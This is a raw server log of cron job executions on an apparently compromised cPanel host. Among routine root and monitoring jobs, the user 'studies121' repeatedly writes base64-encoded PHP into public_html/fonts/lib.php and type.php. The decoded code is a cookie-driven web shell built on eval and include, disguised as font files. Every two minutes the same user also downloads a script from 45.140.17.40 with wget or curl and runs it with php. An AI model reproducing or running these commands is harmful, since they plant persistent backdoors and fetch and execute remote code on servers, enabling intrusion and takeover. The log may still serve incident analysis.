Sep  2 07:22:01 ip-184-168-122-23 CROND[5103]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 07:22:01 ip-184-168-122-23 CROND[5105]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 07:23:01 ip-184-168-122-23 CROND[5213]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 07:23:01 ip-184-168-122-23 CROND[5215]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 07:23:01 ip-184-168-122-23 CROND[5216]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 07:23:01 ip-184-168-122-23 CROND[5217]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 07:24:01 ip-184-168-122-23 CROND[5361]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 07:24:01 ip-184-168-122-23 CROND[5362]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 07:24:01 ip-184-168-122-23 CROND[5363]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 07:24:01 ip-184-168-122-23 CROND[5364]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 07:24:01 ip-184-168-122-23 CROND[5365]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 07:25:01 ip-184-168-122-23 CROND[5487]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 07:25:01 ip-184-168-122-23 CROND[5488]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 07:25:01 ip-184-168-122-23 CROND[5490]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 07:25:01 ip-184-168-122-23 CROND[5492]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 07:25:01 ip-184-168-122-23 CROND[5489]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 07:25:01 ip-184-168-122-23 CROND[5491]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 07:26:01 ip-184-168-122-23 CROND[5697]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 07:26:01 ip-184-168-122-23 CROND[5699]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 07:26:01 ip-184-168-122-23 CROND[5700]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 07:26:01 ip-184-168-122-23 CROND[5701]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 07:26:01 ip-184-168-122-23 CROND[5702]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 07:27:01 ip-184-168-122-23 CROND[5808]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 07:27:01 ip-184-168-122-23 CROND[5810]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 07:27:01 ip-184-168-122-23 CROND[5812]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 07:27:01 ip-184-168-122-23 CROND[5811]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 07:28:01 ip-184-168-122-23 CROND[5927]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 07:28:01 ip-184-168-122-23 CROND[5928]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 07:28:01 ip-184-168-122-23 CROND[5932]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 07:28:01 ip-184-168-122-23 CROND[5931]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 07:28:01 ip-184-168-122-23 CROND[5933]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 07:29:01 ip-184-168-122-23 CROND[6055]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 07:29:01 ip-184-168-122-23 CROND[6058]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 07:29:01 ip-184-168-122-23 CROND[6059]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 07:29:01 ip-184-168-122-23 CROND[6057]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 07:30:01 ip-184-168-122-23 CROND[6178]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 07:30:01 ip-184-168-122-23 CROND[6179]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 07:30:01 ip-184-168-122-23 CROND[6182]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 07:30:01 ip-184-168-122-23 CROND[6184]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 07:30:01 ip-184-168-122-23 CROND[6185]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 07:30:01 ip-184-168-122-23 CROND[6186]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 07:30:01 ip-184-168-122-23 CROND[6193]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 07:30:01 ip-184-168-122-23 CROND[6192]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 07:31:01 ip-184-168-122-23 CROND[6397]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 07:31:01 ip-184-168-122-23 CROND[6400]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 07:31:01 ip-184-168-122-23 CROND[6401]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 07:31:01 ip-184-168-122-23 CROND[6399]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 07:31:01 ip-184-168-122-23 CROND[6402]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 07:32:01 ip-184-168-122-23 CROND[6499]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 07:32:01 ip-184-168-122-23 CROND[6500]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 07:32:01 ip-184-168-122-23 CROND[6501]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 07:32:01 ip-184-168-122-23 CROND[6502]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 07:32:01 ip-184-168-122-23 CROND[6503]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 07:33:01 ip-184-168-122-23 CROND[6646]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 07:33:01 ip-184-168-122-23 CROND[6647]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 07:33:01 ip-184-168-122-23 CROND[6650]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 07:33:01 ip-184-168-122-23 CROND[6651]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 07:34:01 ip-184-168-122-23 CROND[6766]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 07:34:01 ip-184-168-122-23 CROND[6768]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 07:34:01 ip-184-168-122-23 CROND[6770]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 07:34:01 ip-184-168-122-23 CROND[6769]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
